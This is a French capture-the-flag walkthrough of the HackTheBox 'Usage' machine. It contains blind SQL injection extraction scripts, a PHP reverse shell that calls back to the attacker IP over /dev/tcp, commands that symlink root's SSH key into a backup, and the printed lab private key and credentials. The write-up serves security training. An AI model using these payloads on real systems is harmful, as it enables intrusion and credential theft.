> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md).

# Compte rendu HackTheBox de Usage

{% embed url="<https://app.hackthebox.com/machines/597>" %}

{% hint style="warning" %}
Compétences :

* Énumération des sous-domaines
* SQLi - Injection aveugle basée sur des booléens (manuelle) + conseils Burp Suite
* Script Python pour exploiter la SQLi
* Cassage de hachages
* Exploitation de Laravel-admin (RCE en abusant du téléversement de fichiers)
* Analyse binaire (GHIDRA)
* Abus du privilège Sudoers + binaire personnalisé pour obtenir la clé privée SSH root (élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/0b4833bbc0e1b9c12c4f7068f3c45b54c26ae2a8" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/9c1f4e953c69f274638f7379043e24916e42333b" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -vvv -Pn --min-rate 5000 10.10.11.18 -oG allPorts
```

<figure><img src="/files/012304b4c124700718687cbedad8f69f439c67eb" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts de manière concise et les copier dans le presse-papiers (21,22,80)

<figure><img src="/files/086843b22c6fcd0bd730be51f07031a05822672c" alt="" width="563"><figcaption></figcaption></figure>

Analyse des versions des ports avec Nmap :

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,80 10.10.11.18 -oN targeted
```

<figure><img src="/files/de772a1a6ce14258caf4320e6263700c307a8281" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, nous insérons le nom de domaine associé à son adresse IP dans le `/etc/hosts` fichier :

### Port 80 :

Sur le port 80, nous allons créer un compte utilisateur avec un e-mail fictif "`test@test.com`" dans la section d'inscription.

<figure><img src="/files/7e4a9631c8dddb62877956fada4f2a96d3f90a2d" alt=""><figcaption></figcaption></figure>

## Vulnérabilité [SQLi](/fr/web/sql-injection.md):

Nous découvrons un panneau de réinitialisation de mot de passe vulnérable à l'injection SQL

<figure><img src="/files/f02cf64a70db612f62614fa128d03d116d1036c8" alt=""><figcaption></figcaption></figure>

. En interceptant les requêtes avec Burp Suite, nous obtenons le message "*Nous vous avons envoyé votre mot de passe*".

<figure><img src="/files/727f75fcfce72532a00ad33150f9b3b03868f572" alt=""><figcaption></figcaption></figure>

Lorsque nous tentons une injection SQL de base, elle réussit et nous recevons à nouveau le même message d'erreur, ce qui confirme que l'injection fonctionne. Le test d'injection de base est :

`iojfeifif' or 1=1-- -`

<figure><img src="/files/9892b901fdd54d63933d37505d7fd9f5f36221a1" alt="" width="563"><figcaption></figcaption></figure>

### Réponses conditionnelles SQLi :

> Bien que les résultats de la requête SQL ne soient pas renvoyés et qu'aucun message d'erreur n'apparaisse, l'application affiche le message « Nous vous avons envoyé votre mot de passe » sur la page si la requête renvoie une ou plusieurs lignes.

Nous vérifions cette hypothèse en exécutant une injection conditionnelle utilisant la `substring` fonction pour extraire les premières lettres du nom de la base de données.

Exemples d'injection :

* Tester la première lettre du nom de la base de données :/ `dwwdw' or substring(database(),1,1)='u'-- -`
* Tester la deuxième lettre du nom de la base de données :/ `dwwdw' or substring(database(),2,1)='s'-- -`

<figure><img src="/files/b823527e45f3c4c986914423f17320d25d58d6db" alt=""><figcaption></figcaption></figure>

### Énumération du nom de la base de données :

Nous automatisons le processus de découverte du nom de la base de données à l'aide d'un script Python qui envoie des requêtes avec des charges utiles spécifiques et récupère les résultats lorsque le serveur affiche la réponse « Nous vous avons envoyé votre mot de passe ».

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Gérer les signaux de sortie
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C pour quitter
signal.signal(signal.SIGINT, def_handler)

# Jeu de caractères étendu (ajoutez d'autres caractères spéciaux si nécessaire)
characters = string.ascii_letters + string.digits + "-/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Injection SQL")
    p1.status("Démarrage de l'injection SQL...")
    time.sleep(2)

    p2 = log.progress("Données extraites")

    for position in range(1, 20):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring(database(),{position},1)='{character}'-- -"
            }
            
            # Envoyer la requête POST avec la charge utile
            r = requests.post(main_url, headers=headers, data=payload)

            # Afficher en temps réel le caractère actuellement testé
            p1.status(f"Test de la position {position} : {character}")

            # Vérifier un retour spécifique du serveur pour confirmer le bon caractère
            if "Nous vous avons envoyé votre mot de passe" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Si un caractère a été trouvé pour cette position, passer à la suivante
        if found_character:
            p1.status(f"Position {position} trouvée : {data[-1]}")
        else:
            p1.status(f"Position {position} : caractère introuvable")

    p1.success("Attaque par force brute de l'injection SQL terminée")
    p2.success(f"Données extraites : {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/3189ea05de4d6d60bef0db61d3a1d57a0e2c4c6d" alt="" width="440"><figcaption></figcaption></figure>

### Énumération de la base de données :

Nous modifions la charge utile pour lister toutes les bases de données présentes sur le serveur. Nous utilisons la `group_concat` fonction de la `information_schema.schemata` base de données pour récupérer toutes les bases de données disponibles. Cette étape permet de découvrir toutes les bases de données présentes.

{% code overflow="wrap" fullWidth="false" %}

```sql
' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Gérer les signaux de sortie
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C pour quitter
signal.signal(signal.SIGINT, def_handler)

# Jeu de caractères étendu (ajoutez d'autres caractères spéciaux si nécessaire)
characters = string.ascii_letters + string.digits + "-,/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Injection SQL")
    p1.status("Démarrage de l'injection SQL...")
    time.sleep(2)

    p2 = log.progress("Données extraites")

    for position in range(1, 100):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)

            }
            
            # Envoyer la requête POST avec la charge utile
            r = requests.post(main_url, headers=headers, data=payload)

            # Afficher en temps réel le caractère actuellement testé
            p1.status(f"Test de la position {position} : {character}")

            # Vérifier un retour spécifique du serveur pour confirmer le bon caractère
            if "Nous vous avons envoyé votre mot de passe" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Si un caractère a été trouvé pour cette position, passer à la suivante
        if found_character:
            p1.status(f"Position {position} trouvée : {data[-1]}")
        else:
            p1.status(f"Position {position} : caractère introuvable")

    p1.success("Attaque par force brute de l'injection SQL terminée")
    p2.success(f"Données extraites : {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/e3e5bc6cc53511ea25cae7c27bf1c1e10145bb4d" alt="" width="563"><figcaption></figcaption></figure>

### Liste des tables de la `usage_blog` base de données :

Après avoir trouvé la `usage_blog` base de données, nous modifions à nouveau la charge utile pour énumérer les tables de cette base de données. Nous utilisons la `group_concat` fonction pour récupérer les noms de toutes les tables de la `usage_blog` base de données.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Gérer les signaux de sortie
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C pour quitter
signal.signal(signal.SIGINT, def_handler)

# Jeu de caractères étendu (ajoutez d'autres caractères spéciaux si nécessaire)
characters = string.ascii_letters + string.digits + "-,/.;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Injection SQL")
    p1.status("Démarrage de l'injection SQL...")
    time.sleep(2)

    p2 = log.progress("Données extraites")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character) 

            }
            
            # Envoyer la requête POST avec la charge utile
            r = requests.post(main_url, headers=headers, data=payload)

            # Afficher en temps réel le caractère actuellement testé
            p1.status(f"Test de la position {position} : {character}")

            # Vérifier un retour spécifique du serveur pour confirmer le bon caractère
            if "Nous vous avons envoyé votre mot de passe" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Si un caractère a été trouvé pour cette position, passer à la suivante
        if found_character:
            p1.status(f"Position {position} trouvée : {data[-1]}")
        else:
            p1.status(f"Position {position} : caractère introuvable")

    p1.success("Attaque par force brute de l'injection SQL terminée")
    p2.success(f"Données extraites : {data}")

if __name__ == '__main__':
    sqli()
```

<div data-full-width="true"><figure><img src="/files/a02ddd7eedfab06657c3a7e50e96239249b2a429" alt=""><figcaption></figcaption></figure></div>

### Énumération des colonnes de la `admin_users` table :

Une fois les tables identifiées, nous ciblons la `admin_users` table pour énumérer ses colonnes. Nous utilisons la `group_concat` fonction à nouveau pour récupérer les noms de colonnes de cette table spécifique.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1
)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Gérer les signaux de sortie
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C pour quitter
signal.signal(signal.SIGINT, def_handler)

# Jeu de caractères étendu (ajoutez d'autres caractères spéciaux si nécessaire)
characters = string.ascii_letters + string.digits + "-,/;$._@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Injection SQL")
    p1.status("Démarrage de l'injection SQL...")
    time.sleep(2)

    p2 = log.progress("Données extraites")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)='%s" % (position, character) 

            }
            
            # Envoyer la requête POST avec la charge utile
            r = requests.post(main_url, headers=headers, data=payload)

            # Afficher en temps réel le caractère actuellement testé
            p1.status(f"Test de la position {position} : {character}")

            # Vérifier un retour spécifique du serveur pour confirmer le bon caractère
            if "Nous vous avons envoyé votre mot de passe" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Si un caractère a été trouvé pour cette position, passer à la suivante
        if found_character:
            p1.status(f"Position {position} trouvée : {data[-1]}")
        else:
            p1.status(f"Position {position} : caractère introuvable")

    p1.success("Attaque par force brute de l'injection SQL terminée")
    p2.success(f"Données extraites : {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/782ca434ffb26b53d13cfde7e9d06419d4b95bc4" alt=""><figcaption></figcaption></figure>

### Affichage `le nom d'utilisateur` et `mot de passe`:

Pour afficher les identifiants utilisateur et les mots de passe dans la `admin_users` table, la requête SQL sera modifiée pour concaténer les `le nom d'utilisateur` et `mot de passe` champs

{% code overflow="wrap" %}

```sql
' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Gérer les signaux de sortie
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C pour quitter
signal.signal(signal.SIGINT, def_handler)

# Jeu de caractères étendu (ajoutez d'autres caractères spéciaux si nécessaire)
characters = string.ascii_letters + string.digits + "-:.,/;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Injection SQL")
    p1.status("Démarrage de l'injection SQL...")
    time.sleep(2)

    p2 = log.progress("Données extraites")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)

            }
            
            # Envoyer la requête POST avec la charge utile
            r = requests.post(main_url, headers=headers, data=payload)

            # Afficher en temps réel le caractère actuellement testé
            p1.status(f"Test de la position {position} : {character}")

            # Vérifier un retour spécifique du serveur pour confirmer le bon caractère
            if "Nous vous avons envoyé votre mot de passe" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Si un caractère a été trouvé pour cette position, passer à la suivante
        if found_character:
            p1.status(f"Position {position} trouvée : {data[-1]}")
        else:
            p1.status(f"Position {position} : caractère introuvable")

    p1.success("Attaque par force brute de l'injection SQL terminée")
    p2.success(f"Données extraites : {data}")

if __name__ == '__main__':
    sqli()
```

`admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2`

<figure><img src="/files/9fe4dc199a51cd57b34de85fb5f5a0b93fd38775" alt=""><figcaption></figcaption></figure>

### Craquage du mot de passe avec John :

Une fois le hash du mot de passe récupéré, vous pouvez utiliser **John** pour le craquer avec un dictionnaire comme **rockyou.txt**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`admin:whatever1`

<figure><img src="/files/f79c8f2b409b34796f1cd50f9dd1547a0ddcfef0" alt=""><figcaption></figcaption></figure>

#### Panneau d'administration :

<figure><img src="/files/32692e8973f7504059a99122c88c3dea356f0a6f" alt=""><figcaption></figcaption></figure>

Une fois les identifiants trouvés, il est possible de se connecter au panneau d'administration en modifiant le `/etc/hosts` fichier pour ajouter l'entrée `admin.usage.htb` entry.

<figure><img src="/files/183a997716eaa3e0b49eddcaabfffcad2f7c3913" alt=""><figcaption></figcaption></figure>

## Vulnérabilité de téléversement de fichiers (Laravel-admin)

Dans l'application Laravel-admin, une section permet de téléverser un avatar. En exploitant cette fonctionnalité, nous pouvons envoyer un fichier malveillant pour obtenir un accès non autorisé au serveur.

{% embed url="<https://flyd.uk/post/cve-2023-24249/>" %}

<figure><img src="/files/47a0f27b2623bd2fd7ad1bd611ec7f47dabd94fe" alt=""><figcaption></figcaption></figure>

### **Étapes de l'opération :**

1. **Interception et modification du fichier avatar**:
   * Interceptez la requête avec Burp Suite.
   * Modifiez la valeur de la `filename` variable pour ajouter l'extension PHP après un faux fichier image, par exemple : `hack.jpg.php`.

<figure><img src="/files/71a534fdddc9e5165fa0305b551a93c242ebfe8d" alt=""><figcaption></figcaption></figure>

* Le contenu du fichier doit être un shell inversé, tel que :

```php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'"); ?>
```

<figure><img src="/files/464cbb9cdafebc88ecf6220d1579e440a49a6d1d" alt=""><figcaption></figcaption></figure>

**Écoute avec Netcat**:

* Commencez à écouter sur le port 443 avec Netcat :

```bash
nc -nlvp 443 
```

<figure><img src="/files/cb8e7ab0d13d6305b220a83561fc2a34467dca27" alt="" width="563"><figcaption></figcaption></figure>

Exécutez les commandes suivantes pour rendre la session shell plus interactive :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Drapeau user.txt :)

<figure><img src="/files/78ea02fb01feff77c3f484a7472040388c6659c5" alt="" width="563"><figcaption></figcaption></figure>

## Élévation de privilèges :

### Fuite d'informations

Dans le répertoire de l'utilisateur `dash`, un fichier `.monitrc` est accessible, contenant des informations sensibles

<figure><img src="/files/e40e2876dfce009679a5a93c8fc6c5e80b3a15a9" alt="" width="563"><figcaption></figcaption></figure>

`admin:3nc0d3d_pa$$w0rd`

<figure><img src="/files/f8fdea80cfd75bbdc99c81dc7fa0d4b9fe4ebf06" alt="" width="563"><figcaption></figcaption></figure>

Ce mot de passe correspond à l'utilisateur `XANDER`.

<figure><img src="/files/731ce24d5550fec504ecfc9876908f558c1cfb0c" alt="" width="563"><figcaption></figcaption></figure>

### Abus du binaire Sudoers :

En exécutant la `sudo -l` commande en tant qu'utilisateur `xander`, nous découvrons la possibilité d'exécuter le `usage_management` binaire avec trois options :

1. *`Sauvegarde du projet`*
2. *`Sauvegarder les données MySQL`*
3. *`Réinitialiser le mot de passe administrateur`*

<figure><img src="/files/36d7d6ae8e587fc760b80a865e479af1a2b5f826" alt=""><figcaption></figcaption></figure>

En sélectionnant la première option (« Sauvegarde du projet »), le programme crée un fichier `.zip` avec une sauvegarde en tant qu'utilisateur `root`.

<figure><img src="/files/49ebd407a6041654236548999063f3b3a3fb9a71" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/af30bbef8ede4d59abbecad3658c596fe8d844a0" alt=""><figcaption></figcaption></figure>

### Analyse binaire (GHIDRA)

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

Installez et lancez GHIDRA pour analyser le binaire :

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="/files/d12340270823a802df395ca93334cb28f79dd77a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/635abd78baee166350d112eb2d43fc35497c2fe8" alt=""><figcaption></figcaption></figure>

* Dans le `Sauvegarde du projet` fonction, nous observons que cette fonctionnalité compresse le contenu de `/var/www/html` dans un `project.zip` fichier avec les droits root.

<figure><img src="/files/e86535fb62274c88abe85ac2cfc45bd9cfebc276" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**Création d'un lien symbolique pour accéder à la clé SSH root**: Pour exploiter cette fonctionnalité, créez un lien symbolique vers la clé SSH root dans le `html` répertoire

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="/files/9ed5f62e72a4d8e1f22bac131ecb227a38f8deeb" alt=""><figcaption></figcaption></figure>

**Exécution du script en tant que root**:

* Exécutez le `usage_management` script :

<figure><img src="/files/c0b3f8875a8245969fac6d934f726114dd4657f8" alt=""><figcaption></figcaption></figure>

* Dans le `project.zip` fichier, récupérez la clé privée root (`id_rsa`).

<figure><img src="/files/19ac8fbce097162d15fdc7463f033bb26cd90edb" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**Connexion SSH avec la clé root**:

* Utilisez la clé pour vous connecter en tant que root :

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="/files/309246f406f09490c3e652ab9dba8a6fffcbe7b6" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="/files/4b7ade6ea3bee078bb2a74d0108f131a5fea8866" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/3e2a8596d595eae820d0795ee170753fa3184c63" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
